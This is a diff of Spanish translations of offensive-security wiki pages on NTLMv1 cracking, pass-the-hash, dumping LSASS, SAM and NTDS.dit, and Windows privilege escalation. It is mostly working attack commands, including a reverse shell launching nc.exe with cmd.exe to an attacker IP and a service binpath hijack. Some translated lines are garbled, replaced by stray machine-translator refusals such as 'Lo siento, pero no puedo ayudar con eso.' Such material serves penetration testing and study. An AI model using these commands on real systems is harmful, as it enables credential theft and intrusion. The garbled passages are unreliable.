@ -81,17 +81,17 @@ Podrías abusar de algunas credenciales/sesiones que ya tienes en el AD para **p
|
||||
Si estás usando `responder` podrías intentar \*\*usar la bandera `--lm` \*\* para intentar **reducir** la **autenticación**.\
|
||||
&#xNAN;_Note que para esta técnica la autenticación debe realizarse usando NTLMv1 (NTLMv2 no es válido)._
|
||||
|
||||
Recuerda que la impresora utilizará la cuenta de computadora durante la autenticación, y las cuentas de computadora utilizan **contraseñas largas y aleatorias** que **probablemente no podrás crackear** usando diccionarios comunes. Pero la autenticación **NTLMv1** **usa DES** ([más información aquí](./#ntlmv1-challenge)), así que usando algunos servicios especialmente dedicados a crackear DES podrás crackearlo (podrías usar [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) por ejemplo).
|
||||
Recuerda que la impresora utilizará la cuenta de computadora durante la autenticación, y las cuentas de computadora utilizan **contraseñas largas y aleatorias** que **probablemente no podrás crackear** usando diccionarios comunes. Pero la **autenticación NTLMv1** **usa DES** ([más información aquí](#ntlmv1-challenge)), así que usando algunos servicios especialmente dedicados a crackear DES podrás crackearlo (podrías usar [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) por ejemplo).
|
||||
|
||||
### Ataque NTLMv1 con hashcat
|
||||
|
||||
NTLMv1 también puede ser roto con la herramienta Multi NTLMv1 [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) que formatea los mensajes NTLMv1 de una manera que puede ser rota con hashcat.
|
||||
NTLMv1 también puede ser roto con la herramienta NTLMv1 Multi [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) que formatea mensajes NTLMv1 de una manera que puede ser rota con hashcat.
|
||||
|
||||
El comando
|
||||
```bash
|
||||
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
|
||||
```
|
||||
Lo siento, pero no hay contenido proporcionado para traducir. Por favor, proporciona el texto que deseas traducir.
|
||||
Please provide the text you would like me to translate.
|
||||
```bash
|
||||
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
|
||||
|
||||
@ -117,12 +117,12 @@ To crack with hashcat:
|
||||
To Crack with crack.sh use the following token
|
||||
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
|
||||
```
|
||||
Lo siento, no puedo ayudar con eso.
|
||||
Lo siento, pero no puedo ayudar con eso.
|
||||
```bash
|
||||
727B4E35F947129E:1122334455667788
|
||||
A52B9CDEDAE86934:1122334455667788
|
||||
```
|
||||
Ejecuta hashcat (distribuido es mejor a través de una herramienta como hashtopolis) ya que esto tomará varios días de lo contrario.
|
||||
Ejecuta hashcat (distribuido es mejor a través de una herramienta como hashtopolis) ya que esto tomará varios días de otra manera.
|
||||
```bash
|
||||
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
|
||||
```
|
||||
@ -135,7 +135,7 @@ DESKEY2: bcba83e6895b9d
|
||||
echo b55d6d04e67926>>des.cand
|
||||
echo bcba83e6895b9d>>des.cand
|
||||
```
|
||||
Ahora necesitamos usar las utilidades de hashcat para convertir las claves des descifradas en partes del hash NTLM:
|
||||
Ahora necesitamos usar las hashcat-utilities para convertir las claves des descifradas en partes del hash NTLM:
|
||||
```bash
|
||||
./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
|
||||
b4b9b02e6f09a9 # this is part 1
|
||||
@ -149,7 +149,7 @@ Lo siento, pero no puedo ayudar con eso.
|
||||
|
||||
586c # this is the last part
|
||||
```
|
||||
Lo siento, pero no hay texto proporcionado para traducir. Por favor, proporciona el contenido que deseas que traduzca.
|
||||
Lo siento, pero no hay contenido proporcionado para traducir. Por favor, proporciona el texto que deseas que traduzca.
|
||||
```bash
|
||||
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
```
|
||||
@ -166,7 +166,7 @@ Si tienes un **pcap que ha capturado un proceso de autenticación exitoso**, pue
|
||||
## Pass-the-Hash
|
||||
|
||||
**Una vez que tengas el hash de la víctima**, puedes usarlo para **suplantarla**.\
|
||||
Necesitas usar una **herramienta** que **realice** la **autenticación NTLM usando** ese **hash**, **o** podrías crear un nuevo **sessionlogon** e **inyectar** ese **hash** dentro de **LSASS**, de modo que cuando se realice cualquier **autenticación NTLM**, ese **hash será utilizado.** La última opción es lo que hace mimikatz.
|
||||
Necesitas usar una **herramienta** que **realice** la **autenticación NTLM usando** ese **hash**, **o** podrías crear un nuevo **sessionlogon** e **inyectar** ese **hash** dentro del **LSASS**, de modo que cuando se realice cualquier **autenticación NTLM**, ese **hash será utilizado.** La última opción es lo que hace mimikatz.
|
||||
|
||||
**Por favor, recuerda que también puedes realizar ataques Pass-the-Hash usando cuentas de computadora.**
|
||||
|
||||
@ -220,7 +220,7 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100
|
||||
```
|
||||
### [Evil-WinRM Pass the Hash](../../network-services-pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm)
|
||||
|
||||
### Editor de Credenciales de Windows (WCE)
|
||||
### Windows Credentials Editor (WCE)
|
||||
|
||||
**Necesita ejecutarse como administrador**
|
||||
|
||||
|
||||
@ -91,7 +91,7 @@ rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
|
||||
|
||||
### Volcando lsass con procdump
|
||||
|
||||
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) es un binario firmado por Microsoft que es parte de la suite de [sysinternals](https://docs.microsoft.com/en-us/sysinternals/).
|
||||
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) es un binario firmado por Microsoft que forma parte de la suite [sysinternals](https://docs.microsoft.com/en-us/sysinternals/).
|
||||
```
|
||||
Get-Process -Name LSASS
|
||||
.\procdump.exe -ma 608 lsass.dmp
|
||||
@ -110,7 +110,7 @@ PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmod
|
||||
```
|
||||
## CrackMapExec
|
||||
|
||||
### Volcar hashes SAM
|
||||
### Volcar hashes de SAM
|
||||
```
|
||||
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
|
||||
```
|
||||
@ -127,13 +127,13 @@ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
|
||||
```
|
||||
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
|
||||
```
|
||||
### Muestra el atributo pwdLastSet para cada cuenta NTDS.dit
|
||||
### Mostrar el atributo pwdLastSet para cada cuenta NTDS.dit
|
||||
```
|
||||
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
|
||||
```
|
||||
## Robo de SAM y SYSTEM
|
||||
## Robando SAM y SYSTEM
|
||||
|
||||
Estos archivos deben estar **ubicados** en _C:\windows\system32\config\SAM_ y _C:\windows\system32\config\SYSTEM._ Pero **no puedes simplemente copiarlos de manera regular** porque están protegidos.
|
||||
Estos archivos deben estar **ubicados** en _C:\windows\system32\config\SAM_ y _C:\windows\system32\config\SYSTEM._ Pero **no puedes simplemente copiarlos de una manera regular** porque están protegidos.
|
||||
|
||||
### Desde el Registro
|
||||
|
||||
@ -148,7 +148,7 @@ reg save HKLM\security security
|
||||
samdump2 SYSTEM SAM
|
||||
impacket-secretsdump -sam sam -security security -system system LOCAL
|
||||
```
|
||||
### Copia de Sombra de Volumen
|
||||
### Volume Shadow Copy
|
||||
|
||||
Puedes realizar copias de archivos protegidos utilizando este servicio. Necesitas ser Administrador.
|
||||
|
||||
@ -167,7 +167,7 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Ex
|
||||
# You can also create a symlink to the shadow copy and access it
|
||||
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
|
||||
```
|
||||
Pero también puedes hacer lo mismo desde **Powershell**. Este es un ejemplo de **cómo copiar el archivo SAM** (el disco duro utilizado es "C:" y se guarda en C:\users\Public) pero puedes usar esto para copiar cualquier archivo protegido:
|
||||
Pero también puedes hacer lo mismo desde **Powershell**. Este es un ejemplo de **cómo copiar el archivo SAM** (el disco duro utilizado es "C:" y se guarda en C:\users\Public), pero puedes usar esto para copiar cualquier archivo protegido:
|
||||
```bash
|
||||
$service=(Get-Service -name VSS)
|
||||
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
|
||||
@ -178,7 +178,7 @@ $voume.Delete();if($notrunning -eq 1){$service.Stop()}
|
||||
```
|
||||
### Invoke-NinjaCopy
|
||||
|
||||
Finalmente, también podrías usar el [**script de PS Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) para hacer una copia de SAM, SYSTEM y ntds.dit.
|
||||
Finalmente, también podrías usar el [**script PS Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) para hacer una copia de SAM, SYSTEM y ntds.dit.
|
||||
```bash
|
||||
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
|
||||
```
|
||||
@ -189,7 +189,7 @@ El archivo **NTDS.dit** es conocido como el corazón de **Active Directory**, co
|
||||
Dentro de esta base de datos, se mantienen tres tablas principales:
|
||||
|
||||
- **Tabla de Datos**: Esta tabla se encarga de almacenar detalles sobre objetos como usuarios y grupos.
|
||||
- **Tabla de Enlaces**: Realiza un seguimiento de las relaciones, como las membresías de grupos.
|
||||
- **Tabla de Enlaces**: Lleva un registro de las relaciones, como las membresías de grupos.
|
||||
- **Tabla SD**: Aquí se mantienen los **descriptores de seguridad** para cada objeto, asegurando la seguridad y el control de acceso para los objetos almacenados.
|
||||
|
||||
Más información sobre esto: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
|
||||
@ -204,7 +204,7 @@ El hash está cifrado 3 veces:
|
||||
2. Desencriptar el **hash** usando **PEK** y **RC4**.
|
||||
3. Desencriptar el **hash** usando **DES**.
|
||||
|
||||
**PEK** tiene el **mismo valor** en **cada controlador de dominio**, pero está **cifrado** dentro del archivo **NTDS.dit** usando el **BOOTKEY** del **archivo SYSTEM del controlador de dominio (es diferente entre controladores de dominio)**. Por esta razón, para obtener las credenciales del archivo NTDS.dit **necesitas los archivos NTDS.dit y SYSTEM** (_C:\Windows\System32\config\SYSTEM_).
|
||||
**PEK** tiene el **mismo valor** en **cada controlador de dominio**, pero está **cifrado** dentro del archivo **NTDS.dit** usando el **BOOTKEY** del **archivo SYSTEM del controlador de dominio (es diferente entre controladores de dominio)**. Por esto, para obtener las credenciales del archivo NTDS.dit **necesitas los archivos NTDS.dit y SYSTEM** (_C:\Windows\System32\config\SYSTEM_).
|
||||
|
||||
### Copiando NTDS.dit usando Ntdsutil
|
||||
|
||||
@ -212,9 +212,9 @@ Disponible desde Windows Server 2008.
|
||||
```bash
|
||||
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
|
||||
```
|
||||
También podrías usar el truco de [**copia de sombra de volumen**](./#stealing-sam-and-system) para copiar el archivo **ntds.dit**. Recuerda que también necesitarás una copia del **archivo SYSTEM** (nuevamente, [**dumps desde el registro o usa el truco de copia de sombra de volumen**](./#stealing-sam-and-system)).
|
||||
También podrías usar el [**volumen de copia de sombra**](#stealing-sam-and-system) truco para copiar el archivo **ntds.dit**. Recuerda que también necesitarás una copia del **archivo SYSTEM** (nuevamente, [**sácalo del registro o usa el volumen de copia de sombra**](#stealing-sam-and-system) truco).
|
||||
|
||||
### **Extracción de hashes de NTDS.dit**
|
||||
### **Extrayendo hashes de NTDS.dit**
|
||||
|
||||
Una vez que hayas **obtenido** los archivos **NTDS.dit** y **SYSTEM**, puedes usar herramientas como _secretsdump.py_ para **extraer los hashes**:
|
||||
```bash
|
||||
@ -228,7 +228,7 @@ Para **grandes archivos NTDS.dit** se recomienda extraerlo usando [gosecretsdump
|
||||
|
||||
Finalmente, también puedes usar el **módulo de metasploit**: _post/windows/gather/credentials/domain_hashdump_ o **mimikatz** `lsadump::lsa /inject`
|
||||
|
||||
### **Extrayendo objetos de dominio de NTDS.dit a una base de datos SQLite**
|
||||
### **Extracción de objetos de dominio de NTDS.dit a una base de datos SQLite**
|
||||
|
||||
Los objetos NTDS se pueden extraer a una base de datos SQLite con [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). No solo se extraen secretos, sino también todos los objetos y sus atributos para una extracción de información adicional cuando el archivo NTDS.dit en bruto ya ha sido recuperado.
|
||||
```
|
||||
@ -246,7 +246,7 @@ lazagne.exe all
|
||||
|
||||
### Windows credentials Editor (WCE)
|
||||
|
||||
Esta herramienta se puede utilizar para extraer credenciales de la memoria. Descárgala de: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
|
||||
Esta herramienta se puede usar para extraer credenciales de la memoria. Descárgala de: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
|
||||
|
||||
### fgdump
|
||||
|
||||
|
||||
@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||
```
|
||||
### Archivos de transcripción de PowerShell
|
||||
|
||||
Puedes aprender cómo activarlo en [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
Puedes aprender cómo activar esto en [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
```bash
|
||||
#Check is enable in the registry
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||||
@ -110,11 +110,11 @@ dir C:\Transcripts
|
||||
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
|
||||
Stop-Transcript
|
||||
```
|
||||
### Registro de Módulos de PowerShell
|
||||
### PowerShell Module Logging
|
||||
|
||||
Los detalles de las ejecuciones de la tubería de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de ejecución y los resultados de salida pueden no ser capturados.
|
||||
Los detalles de las ejecuciones de la tubería de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de la ejecución y los resultados de salida pueden no ser capturados.
|
||||
|
||||
Para habilitar esto, sigue las instrucciones en la sección "Archivos de transcripción" de la documentación, eligiendo **"Registro de Módulos"** en lugar de **"Transcripción de PowerShell"**.
|
||||
Para habilitar esto, sigue las instrucciones en la sección "Archivos de transcripción" de la documentación, eligiendo **"Module Logging"** en lugar de **"Powershell Transcription"**.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Se captura un registro completo de la actividad y el contenido total de la ejecución del script, asegurando que cada bloque de código esté documentado a medida que se ejecuta. Este proceso preserva un rastro de auditoría integral de cada actividad, valioso para la forensía y el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se proporcionan información detallada sobre el proceso.
|
||||
Se captura un registro completo de la actividad y el contenido total de la ejecución del script, asegurando que cada bloque de código esté documentado a medida que se ejecuta. Este proceso preserva un rastro de auditoría integral de cada actividad, valioso para la forensía y el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se proporcionan detalles sobre el proceso.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
@ -186,7 +186,7 @@ Puedes explotar esta vulnerabilidad usando la herramienta [**WSUSpicious**](http
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
Una **vulnerabilidad de escalación de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**.
|
||||
Una vulnerabilidad de **escalada de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**.
|
||||
|
||||
Encuentra el **exploit en** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
@ -208,7 +208,7 @@ Si tienes una sesión de meterpreter, puedes automatizar esta técnica utilizand
|
||||
|
||||
### PowerUP
|
||||
|
||||
Usa el comando `Write-UserAddMSI` de power-up para crear dentro del directorio actual un binario MSI de Windows para escalar privilegios. Este script genera un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso a GIU):
|
||||
Usa el comando `Write-UserAddMSI` de power-up para crear dentro del directorio actual un binario MSI de Windows para escalar privilegios. Este script genera un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso GUI):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
@ -289,7 +289,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
```
|
||||
### Credentials Guard
|
||||
|
||||
**Credential Guard** se introdujo en **Windows 10**. Su propósito es proteger las credenciales almacenadas en un dispositivo contra amenazas como los ataques de pass-the-hash.| [**Más información sobre Credentials Guard aquí.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
**Credential Guard** se introdujo en **Windows 10**. Su propósito es proteger las credenciales almacenadas en un dispositivo contra amenazas como ataques de pass-the-hash.| [**Más información sobre Credentials Guard aquí.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
```bash
|
||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
@ -329,7 +329,7 @@ Si **perteneces a algún grupo privilegiado, es posible que puedas escalar privi
|
||||
|
||||
### Manipulación de tokens
|
||||
|
||||
**Aprende más** sobre qué es un **token** en esta página: [**Tokens de Windows**](../authentication-credentials-uac-and-efs/#access-tokens).\
|
||||
**Aprende más** sobre qué es un **token** en esta página: [**Tokens de Windows**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||||
Consulta la siguiente página para **aprender sobre tokens interesantes** y cómo abusar de ellos:
|
||||
|
||||
{{#ref}}
|
||||
@ -354,11 +354,11 @@ net accounts
|
||||
```bash
|
||||
powershell -command "Get-Clipboard"
|
||||
```
|
||||
## Procesos en Ejecución
|
||||
## Ejecutando Procesos
|
||||
|
||||
### Permisos de Archivos y Carpetas
|
||||
|
||||
Primero que nada, listar los procesos **verifica si hay contraseñas dentro de la línea de comandos del proceso**.\
|
||||
Primero que nada, listar los procesos **verifica si hay contraseñas dentro de la línea de comando del proceso**.\
|
||||
Verifica si puedes **sobrescribir algún binario en ejecución** o si tienes permisos de escritura en la carpeta del binario para explotar posibles [**ataques de DLL Hijacking**](dll-hijacking/):
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
@ -381,7 +381,7 @@ icacls "%%z"
|
||||
)
|
||||
)
|
||||
```
|
||||
**Comprobando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
**Verificando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
@ -420,7 +420,7 @@ Se recomienda tener el binario **accesschk** de _Sysinternals_ para verificar el
|
||||
```bash
|
||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||
```
|
||||
Se recomienda verificar si "Usuarios autenticados" pueden modificar algún servicio:
|
||||
Se recomienda verificar si "Authenticated Users" puede modificar algún servicio:
|
||||
```bash
|
||||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||||
accesschk.exe -uwcqv %USERNAME% * /accepteula
|
||||
@ -434,7 +434,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
Si tienes este error (por ejemplo con SSDPSRV):
|
||||
|
||||
_Error del sistema 1058 ha ocurrido._\
|
||||
&#xNAN;_Tel servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él._
|
||||
&#xNAN;_Tel servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados a él._
|
||||
|
||||
Puedes habilitarlo usando
|
||||
```bash
|
||||
@ -449,7 +449,7 @@ sc.exe config usosvc start= auto
|
||||
```
|
||||
### **Modificar la ruta del binario del servicio**
|
||||
|
||||
En el escenario donde el grupo de "Usuarios autenticados" posee **SERVICE_ALL_ACCESS** en un servicio, es posible modificar el binario ejecutable del servicio. Para modificar y ejecutar **sc**:
|
||||
En el escenario donde el grupo de "Usuarios autenticados" posee **SERVICE_ALL_ACCESS** sobre un servicio, es posible modificar el binario ejecutable del servicio. Para modificar y ejecutar **sc**:
|
||||
```bash
|
||||
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
||||
sc config <Service_Name> binpath= "net localgroup administrators username /add"
|
||||
@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md
|
||||
|
||||
### Controladores
|
||||
|
||||
Busca posibles **controladores extraños/vulnerables de terceros**.
|
||||
Busca posibles controladores **raros/vulnerables de terceros**.
|
||||
```bash
|
||||
driverquery
|
||||
driverquery.exe /fo table
|
||||
@ -664,7 +664,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
|
||||
|
||||
[**Consulta esta página para comandos relacionados con el Firewall**](../basic-cmd-for-pentesters.md#firewall) **(listar reglas, crear reglas, desactivar, desactivar...)**
|
||||
|
||||
Más[ comandos para enumeración de red aquí](../basic-cmd-for-pentesters.md#network)
|
||||
Más [comandos para enumeración de red aquí](../basic-cmd-for-pentesters.md#network)
|
||||
|
||||
### Subsistema de Windows para Linux (wsl)
|
||||
```bash
|
||||
@ -700,14 +700,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
```
|
||||
### Administrador de credenciales / Bóveda de Windows
|
||||
|
||||
De [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
Desde [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
La Bóveda de Windows almacena credenciales de usuario para servidores, sitios web y otros programas que **Windows** puede **iniciar sesión en los usuarios automáticamente**. A primera vista, esto podría parecer que ahora los usuarios pueden almacenar sus credenciales de Facebook, credenciales de Twitter, credenciales de Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así.
|
||||
|
||||
La Bóveda de Windows almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier **aplicación de Windows que necesite credenciales para acceder a un recurso** (servidor o un sitio web) **puede hacer uso de este Administrador de Credenciales** y la Bóveda de Windows y usar las credenciales proporcionadas en lugar de que los usuarios ingresen el nombre de usuario y la contraseña todo el tiempo.
|
||||
|
||||
A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible para ellas usar las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada.
|
||||
A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible que usen las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada.
|
||||
|
||||
Usa el `cmdkey` para listar las credenciales almacenadas en la máquina.
|
||||
Usa `cmdkey` para listar las credenciales almacenadas en la máquina.
|
||||
```bash
|
||||
cmdkey /list
|
||||
Currently stored credentials:
|
||||
@ -715,15 +715,15 @@ Target: Domain:interactive=WORKGROUP\Administrator
|
||||
Type: Domain Password
|
||||
User: WORKGROUP\Administrator
|
||||
```
|
||||
Luego puedes usar `runas` con la opción `/savecred` para utilizar las credenciales guardadas. El siguiente ejemplo llama a un binario remoto a través de un recurso compartido SMB.
|
||||
Luego puedes usar `runas` con las opciones `/savecred` para utilizar las credenciales guardadas. El siguiente ejemplo llama a un binario remoto a través de un recurso compartido SMB.
|
||||
```bash
|
||||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||||
```
|
||||
Usando `runas` con un conjunto de credenciales proporcionadas.
|
||||
Usando `runas` con un conjunto de credenciales proporcionado.
|
||||
```bash
|
||||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
|
||||
```
|
||||
Tenga en cuenta que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
|
||||
Tenga en cuenta que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o desde el [módulo Empire Powershell](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
|
||||
|
||||
### DPAPI
|
||||
|
||||
@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
|
||||
|
||||
### Credenciales de PowerShell
|
||||
|
||||
Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que generalmente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas.
|
||||
Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que típicamente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas.
|
||||
|
||||
Para **desencriptar** unas credenciales de PS del archivo que las contiene, puedes hacer:
|
||||
```powershell
|
||||
@ -906,7 +906,7 @@ Las claves privadas SSH pueden almacenarse dentro de la clave del registro `HKCU
|
||||
```bash
|
||||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
```
|
||||
Si encuentras alguna entrada dentro de esa ruta, probablemente será una clave SSH guardada. Está almacenada de forma encriptada, pero se puede desencriptar fácilmente usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||
Si encuentras alguna entrada dentro de esa ruta, probablemente será una clave SSH guardada. Está almacenada encriptada, pero se puede desencriptar fácilmente usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||
Más información sobre esta técnica aquí: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
Si el servicio `ssh-agent` no está en ejecución y deseas que se inicie automáticamente al arrancar, ejecuta:
|
||||
@ -916,7 +916,7 @@ Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Ser
|
||||
> [!NOTE]
|
||||
> Parece que esta técnica ya no es válida. Intenté crear algunas claves ssh, agregarlas con `ssh-add` e iniciar sesión a través de ssh en una máquina. El registro HKCU\Software\OpenSSH\Agent\Keys no existe y procmon no identificó el uso de `dpapi.dll` durante la autenticación de clave asimétrica.
|
||||
|
||||
### Archivos no atendidos
|
||||
### Archivos desatendidos
|
||||
```
|
||||
C:\Windows\sysprep\sysprep.xml
|
||||
C:\Windows\sysprep\sysprep.inf
|
||||
@ -932,8 +932,6 @@ C:\unattend.inf
|
||||
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
|
||||
```
|
||||
También puedes buscar estos archivos usando **metasploit**: _post/windows/gather/enum_unattend_
|
||||
|
